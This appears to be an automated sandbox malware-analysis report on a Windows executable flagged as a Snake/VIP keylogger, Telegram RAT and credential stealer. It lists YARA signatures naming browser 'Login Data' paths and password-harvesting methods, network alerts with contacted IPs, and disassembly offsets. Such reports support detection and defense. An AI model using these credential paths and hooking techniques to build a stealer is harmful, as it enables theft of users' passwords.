0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400000.3.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x35d00:$a1: get_encryptedPassword 0x35cd4:$a2: get_encryptedUsername 0x35d98:$a3: get_timePasswordChanged 0x35cb0:$a4: get_passwordField 0x35d16:$a5: set_encryptedPassword 0x35ae3:$a7: get_logins 0x313a6:$a10: KeyLoggerEventArgs 0x31375:$a11: KeyLoggerEventArgsEventHandler 0x35bb7:$a13: _encryptedPassword
0.3.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5c9b60.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3d2ce:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3c971:$a3: \Google\Chrome\User Data\Default\Login Data 0x3cbce:$a4: \Orbitum\User Data\Default\Login Data 0x3d5ad:$a5: \Kometa\User Data\Default\Login Data
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400000.3.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3fdee:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3f491:$a3: \Google\Chrome\User Data\Default\Login Data 0x3f6ee:$a4: \Orbitum\User Data\Default\Login Data 0x400cd:$a5: \Kometa\User Data\Default\Login Data
0.3.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5c9b60.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x30dd0:$s1: UnHook 0x30d6c:$s2: SetHook 0x30da5:$s3: CallNextHook 0x30d34:$s4: _hook
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400000.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x338f0:$s1: UnHook 0x3388c:$s2: SetHook 0x338c5:$s3: CallNextHook 0x33854:$s4: _hook
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5100000.5.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5100000.5.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5100000.5.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5100000.5.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x331e0:$a1: get_encryptedPassword 0x331b4:$a2: get_encryptedUsername 0x33278:$a3: get_timePasswordChanged 0x33190:$a4: get_passwordField 0x331f6:$a5: set_encryptedPassword 0x32fc3:$a7: get_logins 0x2e886:$a10: KeyLoggerEventArgs 0x2e855:$a11: KeyLoggerEventArgsEventHandler 0x33097:$a13: _encryptedPassword
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5100000.5.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3d2ce:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3c971:$a3: \Google\Chrome\User Data\Default\Login Data 0x3cbce:$a4: \Orbitum\User Data\Default\Login Data 0x3d5ad:$a5: \Kometa\User Data\Default\Login Data
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5100000.5.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x30dd0:$s1: UnHook 0x30d6c:$s2: SetHook 0x30da5:$s3: CallNextHook 0x30d34:$s4: _hook
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.221f9ee.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.221f9ee.2.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.221f9ee.2.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.221f9ee.2.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x33f00:$a1: get_encryptedPassword 0x33ed4:$a2: get_encryptedUsername 0x33f98:$a3: get_timePasswordChanged 0x33eb0:$a4: get_passwordField 0x33f16:$a5: set_encryptedPassword 0x33ce3:$a7: get_logins 0x2f5a6:$a10: KeyLoggerEventArgs 0x2f575:$a11: KeyLoggerEventArgsEventHandler 0x33db7:$a13: _encryptedPassword
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.221f9ee.2.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3dfee:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3d691:$a3: \Google\Chrome\User Data\Default\Login Data 0x3d8ee:$a4: \Orbitum\User Data\Default\Login Data 0x3e2cd:$a5: \Kometa\User Data\Default\Login Data
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.221f9ee.2.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x31af0:$s1: UnHook 0x31a8c:$s2: SetHook 0x31ac5:$s3: CallNextHook 0x31a54:$s4: _hook
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.221f9ee.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.221f9ee.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.221f9ee.2.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.221f9ee.2.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.221f9ee.2.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x35d00:$a1: get_encryptedPassword 0x35cd4:$a2: get_encryptedUsername 0x35d98:$a3: get_timePasswordChanged 0x35cb0:$a4: get_passwordField 0x35d16:$a5: set_encryptedPassword 0x35ae3:$a7: get_logins 0x313a6:$a10: KeyLoggerEventArgs 0x31375:$a11: KeyLoggerEventArgsEventHandler 0x35bb7:$a13: _encryptedPassword
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.221f9ee.2.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3fdee:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3f491:$a3: \Google\Chrome\User Data\Default\Login Data 0x3f6ee:$a4: \Orbitum\User Data\Default\Login Data 0x400cd:$a5: \Kometa\User Data\Default\Login Data
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.221f9ee.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x338f0:$s1: UnHook 0x3388c:$s2: SetHook 0x338c5:$s3: CallNextHook 0x33854:$s4: _hook
0.3.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5c9b60.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.3.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5c9b60.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.3.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5c9b60.0.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.3.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5c9b60.0.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.3.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5c9b60.0.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x34de0:$a1: get_encryptedPassword 0x34db4:$a2: get_encryptedUsername 0x34e78:$a3: get_timePasswordChanged 0x34d90:$a4: get_passwordField 0x34df6:$a5: set_encryptedPassword 0x34bc3:$a7: get_logins 0x30486:$a10: KeyLoggerEventArgs 0x30455:$a11: KeyLoggerEventArgsEventHandler 0x34c97:$a13: _encryptedPassword
0.3.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5c9b60.0.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3eece:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3e571:$a3: \Google\Chrome\User Data\Default\Login Data 0x3e7ce:$a4: \Orbitum\User Data\Default\Login Data 0x3f1ad:$a5: \Kometa\User Data\Default\Login Data
0.3.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5c9b60.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x329d0:$s1: UnHook 0x3296c:$s2: SetHook 0x329a5:$s3: CallNextHook 0x32934:$s4: _hook
Click to see the 75 entries

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T09:50:44.497788+0100	2803305	3	Unknown Traffic	192.168.2.4	49736	104.21.67.152	443	TCP
2024-11-26T09:50:47.959792+0100	2803305	3	Unknown Traffic	192.168.2.4	49739	104.21.67.152	443	TCP
2024-11-26T09:50:49.974422+0100	2803305	3	Unknown Traffic	192.168.2.4	49740	104.21.67.152	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T09:50:36.376588+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49730	193.122.130.0	80	TCP
2024-11-26T09:50:39.180767+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49730	193.122.130.0	80	TCP
2024-11-26T09:50:39.991987+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49730	193.122.130.0	80	TCP
2024-11-26T09:50:42.882619+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49730	193.122.130.0	80	TCP
2024-11-26T09:50:46.288923+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49730	193.122.130.0	80	TCP
2024-11-26T09:50:48.367075+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49730	193.122.130.0	80	TCP
2024-11-26T09:50:51.310323+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49730	193.122.130.0	80	TCP
2024-11-26T09:50:52.642422+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49730	193.122.130.0	80	TCP
2024-11-26T09:50:54.023268+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49730	193.122.130.0	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe

ReversingLabs: Detection: 57%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe

Joe Sandbox ML: detected

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 104.21.67.152:443 -> 192.168.2.4:49733 version: TLS 1.0

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49741 version: TLS 1.2

Source:

Binary string: _.pdb source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000003.1691578364.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549728259.0000000002400000.00000004.08000000.00040000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549586260.00000000021DF000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 05EC31FEh	0_2_05EC2DE0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 05EC2C34h	0_2_05EC2980
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 05EC0D0Fh	0_2_05EC0B30
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 05EC1699h	0_2_05EC0B30
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 05ECF49Ch	0_2_05ECF1F0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 05ECF044h	0_2_05ECED98
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 05ECEBECh	0_2_05ECE940
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 05EC31FEh	0_2_05EC312C
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 05ECE794h	0_2_05ECE4E8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 05ECE33Ch	0_2_05ECE090
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	0_2_05EC0040
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	0_2_05EC0856
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 05ECDEE4h	0_2_05ECDC38
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 05ECDA8Ch	0_2_05ECD7E0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 05ECD634h	0_2_05ECD388
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 05ECD1DCh	0_2_05ECCF30
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 05ECFD4Ch	0_2_05ECFAA0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	0_2_05EC0676
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 05ECF8F4h	0_2_05ECF648
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 060B8320h	0_2_060B7FE0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 060B96EBh	0_2_060B9418
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 060B144Ch	0_2_060B11A0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 060BCCF1h	0_2_060BCA20
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 060BED19h	0_2_060BEA48
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 060B1CFCh	0_2_060B1A50
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 060B712Ch	0_2_060B6E80
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 060B4D2Ch	0_2_060B4A80
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 060B2154h	0_2_060B1EA8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 060BD189h	0_2_060BCEB8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 060B7584h	0_2_060B72D8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 060B5184h	0_2_060B4ED8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 060BF1B1h	0_2_060BEEE0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 060B25ACh	0_2_060B2300
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 060B79DCh	0_2_060B7730
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 060B55DCh	0_2_060B5330
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 060B2A04h	0_2_060B2758
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 060BD621h	0_2_060BD350
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 060BF649h	0_2_060BF378
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 060B7E34h	0_2_060B7B88
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 060B5A34h	0_2_060B5788
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 060B2E5Ch	0_2_060B2BB0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 060BBA91h	0_2_060BB7C0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 060BDAB9h	0_2_060BD7E8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 060B5E8Ch	0_2_060B5BE0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 060B32B4h	0_2_060B3008
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 060BFAE1h	0_2_060BF810
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 060B62E4h	0_2_060B6038
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 060B02ECh	0_2_060B0040
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 060BBF29h	0_2_060BBC58
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 060B370Ch	0_2_060B3460
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 060BDF51h	0_2_060BDC80
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 060B0744h	0_2_060B0498
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 060B673Ch	0_2_060B6490
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 060B3B64h	0_2_060B38B8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 060B6B96h	0_2_060B68E8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 060B0B9Ch	0_2_060B08F0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 060BC3C1h	0_2_060BC0F0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then mov esp, ebp	0_2_060BB11A
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 060BE3E9h	0_2_060BE118
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 060B0FF4h	0_2_060B0D48
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 060BC859h	0_2_060BC588
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 060BE881h	0_2_060BE5B0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 060B18A4h	0_2_060B15F8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 06126EB3h	0_2_06126BB8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 06126882h	0_2_06126510
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 06127D0Bh	0_2_06127A10
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 061250EAh	0_2_06124E18
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 0612A813h	0_2_0612A518
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 0612BFFBh	0_2_0612BD00
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 061210D9h	0_2_06120E08
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 0612EB03h	0_2_0612E808
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 0612902Bh	0_2_06128D30
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 06121A09h	0_2_06121738
